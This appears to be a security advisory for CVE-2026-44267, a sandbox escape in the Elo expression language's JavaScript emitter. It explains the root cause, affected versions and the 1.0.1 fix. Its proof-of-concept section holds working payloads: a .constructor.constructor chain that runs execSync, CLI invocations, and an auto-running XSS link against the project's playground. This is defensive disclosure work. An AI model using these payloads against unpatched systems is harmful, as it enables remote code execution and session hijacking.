CVE-2026-44267: Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access

Published Nov 3, 2026
·
Updated

Summary

An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — defaultFormats.elo.parse(), the bin/elo CLI, or the live browser playground at elo-lang.org/try — can execute arbitrary code in the host JavaScript runtime. A payload built from the .constructor.constructor chain compiles, without modification, to a live Function invocation in the emitted JavaScript, escaping any sandbox assumption around "Elo is a safe data/DSL language."

Vulnerable sink and root cause

Three interacting sites in src/ produce the bug at commit 749af7b:

1. src/transform.ts:144–158 — the memberaccess handler allows access on types any, object, or array without filtering the property name. This is the only place an integrator could have plugged a denylist. 2. src/compilers/javascript.ts:210 — the JS emitter writes ${objectExpr}.${ir.property} verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript. 3. src/parser.ts:163–170, 748–750 — the parser accepts constructor (and other JS meta-property names) as an ordinary identifier, so .constructor clears type-checking without triggering any warning.

Combined, the Elo expression ({}).constructor.constructor('…')() compiles to a live Function('…')() call in the emitted JS, executing in the realm of whichever sink runs the compiled code.

Attack surfaces

All three surfaces share the same root cause (no denylist in transform.ts) and are addressed by the same one-file patch:

| # | Entry point | Threat model | |---|---|---| | 1 | Browser playground — https://elo-lang.org/try/?code=…&run=1 | 0-click XSS / account takeover against elo-lang.org. ?run=1 triggers setTimeout(() => this.run(), 100) in playgroundcontroller.ts:531; the server issues a 301 that preserves ?code=. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org. | | 2 | bin/elo CLI | RCE on CI / DevOps hosts. Both node bin/elo payload.elo and node bin/elo -e "" -d @payload.elo -f elo fire. The -f elo path is especially severe: the flag exists to pass user-supplied files as data into an Elo pipeline. No integrator expects a data-format flag to shell out to /usr/bin/id. | | 3 | Library API — defaultFormats.elo.parse() | Node.js RCE for any downstream integrator using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). |

Proof of Concept

Common payload (works on all three entry points):

elo ({}).constructor.constructor('return this.constructor.constructor(\'return process\')().mainModule.require(\'childprocess\').execSync(\'id\').toString()')()

Library API — poc-minimal.js:

js // npm install elo const { defaultFormats } = require('elo');

const payload = "({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'childprocess\\').execSync(\\'id\\').toString()')()";

console.log(defaultFormats.elo.parse(payload)); // → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=…

CLI — poc-cli.sh:

sh node bin/elo payload.elo uid=1000(ultrasupara)…

node bin/elo -e "" -d @payload.elo -f elo uid=1000(ultrasupara)…

Browser playground — 0-click XSS URL:

https://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1

Opening this URL causes alert(document.domain) to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the ?code= parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report.

Independence from GHSA #3 (AST-API injection)

This finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's identifier regex ^[a-zA-Z][a-zA-Z0-9]$ happens to accept constructor, and its threat model requires an attacker-controlled AST object rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.

Other sources

Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the memberaccess handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.

— MITRE

Affected Software

2 affected componentsFixes available
npm/@enspirit/elo<=1.0.0
1.0.1
npm/@enspirit/elo<1.0.1
1.0.1

Event History

Nov 3, 2026
CVE Published
via MITRE·05:52 PM
Data Sourced
via MITRE·05:52 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·05:53 PM
Data Sourced
via GitHub·05:53 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via OSV·05:53 PM
Affected Software
Data Sourced
via NVD·06:18 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

Which deployments are most exposed?

Any deployment that passes attacker-controlled strings into defaultFormats.elo.parse() or the bin/elo CLI is exposed to code execution in the Node.js host runtime. The live browser playground at elo-lang.org/try is also an affected JavaScript-emission path, where execution occurs in the browser runtime.

2

Does exploitation require authentication, user interaction, or special runtime permissions?

No. The reported attack is unauthenticated and requires only control of a string processed through an Elo JavaScript-emission path; it has network access, low complexity, no required privileges, and no user interaction in the supplied severity vector.

3

How can I determine whether my code is affected?

Identify whether untrusted input can reach defaultFormats.elo.parse(), bin/elo, or the browser playground. The vulnerable code is identified at commit 749af7b, where member access permits unfiltered properties on any, object, and array types and the JavaScript emitter outputs the property verbatim.

4

What specific input behavior should be treated as unsafe?

Treat Elo expressions containing JavaScript meta-property access, particularly a .constructor.constructor chain, as unsafe when they can reach JavaScript emission. That chain can compile into a live Function invocation rather than remaining confined to an assumed Elo sandbox.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203